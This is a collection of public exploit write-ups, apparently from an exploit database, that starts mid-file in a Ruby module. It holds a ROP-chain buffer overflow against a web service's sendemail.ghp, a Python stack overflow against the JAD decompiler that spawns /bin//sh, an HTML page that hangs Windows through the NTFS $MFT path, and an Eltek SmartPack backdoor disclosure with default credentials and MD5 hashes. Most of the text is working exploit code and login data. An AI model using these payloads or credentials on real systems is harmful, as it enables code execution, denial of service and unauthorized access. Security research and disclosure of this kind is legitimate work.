        0x61c066be,  # INC EDX # ADD CL,CL # RETN [sqlite3.dll]
        0x61c066be,  # INC EDX # ADD CL,CL # RETN [sqlite3.dll]
        0x61c066be,  # INC EDX # ADD CL,CL # RETN [sqlite3.dll]
        0x61c066be,  # INC EDX # ADD CL,CL # RETN [sqlite3.dll]
        0x61c066be,  # INC EDX # ADD CL,CL # RETN [sqlite3.dll]
        0x61c066be,  # INC EDX # ADD CL,CL # RETN [sqlite3.dll]
        0x61c066be,  # INC EDX # ADD CL,CL # RETN [sqlite3.dll]
        0x61c066be,  # INC EDX # ADD CL,CL # RETN [sqlite3.dll]
        0x61c066be,  # INC EDX # ADD CL,CL # RETN [sqlite3.dll]
        0x61c066be,  # INC EDX # ADD CL,CL # RETN [sqlite3.dll]
        0x61c066be,  # INC EDX # ADD CL,CL # RETN [sqlite3.dll]
        0x61c066be,  # INC EDX # ADD CL,CL # RETN [sqlite3.dll]
        0x61c066be,  # INC EDX # ADD CL,CL # RETN [sqlite3.dll]
        0x61c066be,  # INC EDX # ADD CL,CL # RETN [sqlite3.dll]
        0x61c066be,  # INC EDX # ADD CL,CL # RETN [sqlite3.dll]
        0x61c066be,  # INC EDX # ADD CL,CL # RETN [sqlite3.dll]
        0x61c066be,  # INC EDX # ADD CL,CL # RETN [sqlite3.dll]
        0x61c066be,  # INC EDX # ADD CL,CL # RETN [sqlite3.dll]
        0x61c066be,  # INC EDX # ADD CL,CL # RETN [sqlite3.dll]
        0x61c066be,  # INC EDX # ADD CL,CL # RETN [sqlite3.dll]
        0x61c066be,  # INC EDX # ADD CL,CL # RETN [sqlite3.dll]
        0x61c066be,  # INC EDX # ADD CL,CL # RETN [sqlite3.dll]
        0x61c066be,  # INC EDX # ADD CL,CL # RETN [sqlite3.dll]
        0x61c066be,  # INC EDX # ADD CL,CL # RETN [sqlite3.dll]
        0x61c066be,  # INC EDX # ADD CL,CL # RETN [sqlite3.dll]
        0x61c066be,  # INC EDX # ADD CL,CL # RETN [sqlite3.dll]
        0x61c066be,  # INC EDX # ADD CL,CL # RETN [sqlite3.dll]
        0x61c066be,  # INC EDX # ADD CL,CL # RETN [sqlite3.dll]
        0x61c066be,  # INC EDX # ADD CL,CL # RETN [sqlite3.dll]
        0x61c066be,  # INC EDX # ADD CL,CL # RETN [sqlite3.dll]
        0x61c066be,  # INC EDX # ADD CL,CL # RETN [sqlite3.dll]
        0x61c066be,  # INC EDX # ADD CL,CL # RETN [sqlite3.dll]
        0x61c066be,  # INC EDX # ADD CL,CL # RETN [sqlite3.dll]
        0x61c066be,  # INC EDX # ADD CL,CL # RETN [sqlite3.dll]
        0x61c066be,  # INC EDX # ADD CL,CL # RETN [sqlite3.dll]
        0x61c066be,  # INC EDX # ADD CL,CL # RETN [sqlite3.dll]
        0x61c066be,  # INC EDX # ADD CL,CL # RETN [sqlite3.dll]
        0x61c066be,  # INC EDX # ADD CL,CL # RETN [sqlite3.dll]
        0x61c066be,  # INC EDX # ADD CL,CL # RETN [sqlite3.dll]
        0x1001bd98,  # POP ECX # RETN [ImageLoad.dll]
        0x1004de84,  # &Writable location [ImageLoad.dll]
        0x61c373a4,  # POP EDI # RETN [sqlite3.dll]
        0x1001a858,  # RETN (ROP NOP) [ImageLoad.dll]
        0x10015442,  # POP EAX # RETN [ImageLoad.dll]
        0x90909090,  # nop
        0x100240c2,  # PUSHAD # RETN [ImageLoad.dll]
    ].flatten.pack('V*')
    return rop_gadgets
  end

  def exploit
    sploit = rand_text_alpha_upper(2278)
    rop_chain = create_rop_chain
    sploit << rop_chain
    sploit << "\x90" * 200
    sploit << payload.encoded
    sploit << rand_text_alpha_upper(1794 - 200 - payload.encoded.length - rop_chain.length)
    sploit << [target.ret].pack('V')

    request = "POST /sendemail.ghp HTTP/1.1\r\n\r\nEmail=#{sploit}&getPassword=Get+Password"
    connect
    sock.put(request)
    handler
    disconnect
  end
end
            
#!/usr/bin/python
# Exploit Author: Juan Sacco <juan.sacco@kpn.com> at KPN Red Team - http://www.kpn.com
# Developed using Exploit Pack - http://exploitpack.com - <jsacco@exploitpack.com>
# Tested on: GNU/Linux - Kali 2017.1 Release
#
# Description: JAD ( Java Decompiler ) 1.5.8e-1kali1 and prior is prone to a stack-based buffer overflow
# vulnerability because the application fails to perform adequate boundary-checks on user-supplied input.
#
# An attacker could exploit this vulnerability to execute arbitrary code in the
# context of the application. Failed exploit attempts will result in a
# denial-of-service condition.
#
# Vendor homepage: http://www.varaneckas.com/jad/
#
# CANARY    : disabled
# FORTIFY   : disabled
# NX        : ENABLED
# PIE       : disabled
# RELRO     : disabled
#
import os, subprocess
from struct import pack

ropchain = "A"*8150 # junk
ropchain += pack('<I', 0x080e9101) # pop edx ; pop ebx ; pop esi ; pop
edi ; pop ebp ; ret
ropchain += pack('<I', 0x0811abe0) # @ .data
ropchain += pack('<I', 0x41414141) # padding
ropchain += pack('<I', 0x41414141) # padding
ropchain += pack('<I', 0x41414141) # padding
ropchain += pack('<I', 0x41414141) # padding
ropchain += pack('<I', 0x0807b744) # pop eax ; ret
ropchain += '/bin'
ropchain += pack('<I', 0x0810ae08) # mov dword ptr [edx], eax ; pop
ebx ; pop ebp ; ret
ropchain += pack('<I', 0x41414141) # padding
ropchain += pack('<I', 0x41414141) # padding
ropchain += pack('<I', 0x080e9101) # pop edx ; pop ebx ; pop esi ; pop
edi ; pop ebp ; ret
ropchain += pack('<I', 0x0811abe4) # @ .data + 4
ropchain += pack('<I', 0x41414141) # padding
ropchain += pack('<I', 0x41414141) # padding
ropchain += pack('<I', 0x41414141) # padding
ropchain += pack('<I', 0x41414141) # padding
ropchain += pack('<I', 0x0807b744) # pop eax ; ret
ropchain += '//sh'
ropchain += pack('<I', 0x0810ae08) # mov dword ptr [edx], eax ; pop
ebx ; pop ebp ; ret
ropchain += pack('<I', 0x41414141) # padding
ropchain += pack('<I', 0x41414141) # padding
ropchain += pack('<I', 0x080e9101) # pop edx ; pop ebx ; pop esi ; pop
edi ; pop ebp ; ret
ropchain += pack('<I', 0x0811abe8) # @ .data + 8
ropchain += pack('<I', 0x41414141) # padding
ropchain += pack('<I', 0x41414141) # padding
ropchain += pack('<I', 0x41414141) # padding
ropchain += pack('<I', 0x41414141) # padding
ropchain += pack('<I', 0x080b4970) # xor eax, eax ; pop esi ; pop ebp ; ret
ropchain += pack('<I', 0x41414141) # padding
ropchain += pack('<I', 0x41414141) # padding
ropchain += pack('<I', 0x0810ae08) # mov dword ptr [edx], eax ; pop
ebx ; pop ebp ; ret
ropchain += pack('<I', 0x41414141) # padding
ropchain += pack('<I', 0x41414141) # padding
ropchain += pack('<I', 0x080dcf4b) # pop ebx ; pop esi ; pop edi ; ret
ropchain += pack('<I', 0x0811abe0) # @ .data
ropchain += pack('<I', 0x41414141) # padding
ropchain += pack('<I', 0x41414141) # padding
ropchain += pack('<I', 0x08067b43) # pop ecx ; ret
ropchain += pack('<I', 0x0811abe8) # @ .data + 8
ropchain += pack('<I', 0x080e9101) # pop edx ; pop ebx ; pop esi ; pop
edi ; pop ebp ; ret
ropchain += pack('<I', 0x0811abe8) # @ .data + 8
ropchain += pack('<I', 0x0811abe0) # padding without overwrite ebx
ropchain += pack('<I', 0x41414141) # padding
ropchain += pack('<I', 0x41414141) # padding
ropchain += pack('<I', 0x41414141) # padding
ropchain += pack('<I', 0x080b4970) # xor eax, eax ; pop esi ; pop ebp ; ret
ropchain += pack('<I', 0x41414141) # padding
ropchain += pack('<I', 0x41414141) # padding
ropchain += pack('<I', 0x080e571f) # inc eax ; ret
ropchain += pack('<I', 0x080e571f) # inc eax ; ret
ropchain += pack('<I', 0x080e571f) # inc eax ; ret
ropchain += pack('<I', 0x080e571f) # inc eax ; ret
ropchain += pack('<I', 0x080e571f) # inc eax ; ret
ropchain += pack('<I', 0x080e571f) # inc eax ; ret
ropchain += pack('<I', 0x080e571f) # inc eax ; ret
ropchain += pack('<I', 0x080e571f) # inc eax ; ret
ropchain += pack('<I', 0x080e571f) # inc eax ; ret
ropchain += pack('<I', 0x080e571f) # inc eax ; ret
ropchain += pack('<I', 0x080e571f) # inc eax ; ret
ropchain += pack('<I', 0x080c861f) # int 0x80

try:
   print("[*] JAD 1.5.8 Stack-Based Buffer Overflow by Juan Sacco")
   print("[*] Please wait.. running")
   subprocess.call(["jad", ropchain])
except OSError as e:
   if e.errno == os.errno.ENOENT:
       print "JAD  not found!"
   else:
    print "Error executing exploit"
   raise
            
<!--
# Exploit Title: NTFS 3.1 Master File Table DoS Exploit
# Date: 6\23\17
# Exploit Author: EagleWire
# Version: Windows XP/7/8/8.1
# Tested on: Windows XP/7/8/8.1
1. Description:
This exploits a vulnerability in Windows XP to Windows 8.1. The master file table, or MFT, is a hidden file in the NTFS file system. It maps out all files in the drive. It is supposed to be protected from any user access because all files that use NTFS have a reference to it. If the directory is recreated, the system will lock the file until the next reboot. Therefore, for example, when trying to create a file or read the volume of files, NTFS attempts to seize ERESOURCE $ MFT file and will hang at this stage forever.
2. Exploit:
The exploit tries to access a nonexistant file c:/$MFT/pwned. The browser will hang then stop responding, then after the browser exists, the rest of the system becomes unresponsive.
-->
<!DOCTYPE html>
<html lang="en">
  <head>
    <link rel="stylesheet" href="stylesheet.css">
    <meta charset="utf-8" />
    <title>Y0U HAVE BEEN EXPL0ITED!</title>  
</head>
  <body>
    <script src="c:/$MFT/pwned"></script>
  </body>
</html>

<!--
3: Solution:
-->
            
Eltek SmartPack - Backdoor Account

Author: Saeed reza Zamanian [penetrationtest @ Linkedin]
Product: Eltek SmartPack
Vendor: http://www.eltek.com/
Product Link : http://www.eltek.com/detail_products.epl?k1=25507&id=1123846

About Product:

The Smartpack controller is a powerful and cost-effective module, developed for monitoring and controlling a wide range of Elte's DC power supply systems.
You operate the system from the front panel, locally via a PC using the PowerSuite PC application, or remotely via modem, Ethernet and the Web. The module then utilizes the USB- or RS-232 ports to interface with a local PC, SNMP or Web adapters.

Vulnerability Report:
In Eltek Management Section, on following path, some json files (sush as cfgUseraccount1.json to cfgUseraccount10.json) will be called , that disclose some of pre-defined system users.
the json response is containing username and password (hashed in MD5), if you crack the MD5 hashes to plain text you can be able to login in the system. (same as bellow).
Please Note: the users were not note in users manual.

control:control
status:status

Path:
system conf>Devuce Settings>User Accounts
-----------------------------
json Path:
http://10.211.7.70/RPC/Eltek/cfgUseraccount1.json
to .....
http://10.211.7.70/RPC/Eltek/cfgUseraccount10.json
-----------------------------
json responses:

{
	"jsonrpc":	"2.0",
	"result":	[{
			"Path":	"SystemType_ControlSystem.1.ControlUnitPart_security.0.Object_user.UserId_cfgLevel:vU8int1"
,
			"Value":	2
		}, {
			"Path":	"SystemType_ControlSystem.1.ControlUnitPart_security.0.Object_user.UserId_cfgUser:vString21"
,
			"Value":	"control"
		}, {
			"Path":	"SystemType_ControlSystem.1.ControlUnitPart_security.0.Object_user.UserId_cfgPassword:vString21"
,
			"Value":	"fc5364bf9dbfa34954526becad136d4b"
		}, {
			"Path":	"SystemType_ControlSystem.1.ControlUnitPart_security.0.Object_user.UserId_cfgPassword_new
:vString21",
			"Value":	null
		}, {
			"Path":	"SystemType_ControlSystem.1.ControlUnitPart_security.0.Object_user.UserId_cfgPassword_renew
:vString21",
			"Value":	null
		}],
	"id":	21

	
-------------------------------------------------------------------------------------------
{
	"jsonrpc":	"2.0",
	"result":	[{
			"Path":	"SystemType_ControlSystem.1.ControlUnitPart_security.0.Object_user.UserId_cfgLevel:vU8int1"
,
			"Value":	1
		}, {
			"Path":	"SystemType_ControlSystem.1.ControlUnitPart_security.0.Object_user.UserId_cfgUser:vString21"
,
			"Value":	"status"
		}, {
			"Path":	"SystemType_ControlSystem.1.ControlUnitPart_security.0.Object_user.UserId_cfgPassword:vString21"
,
			"Value":	"9acb44549b41563697bb490144ec6258"
		}, {
			"Path":	"SystemType_ControlSystem.1.ControlUnitPart_security.0.Object_user.UserId_cfgPassword_new
:vString21",
			"Value":	null
		}, {
			"Path":	"SystemType_ControlSystem.1.ControlUnitPart_security.0.Object_user.UserId_cfgPassword_renew
:vString21",
			"Value":	null
		}],
	"id":	8
}

-------------------------------------------------------------------------------------------

#EOF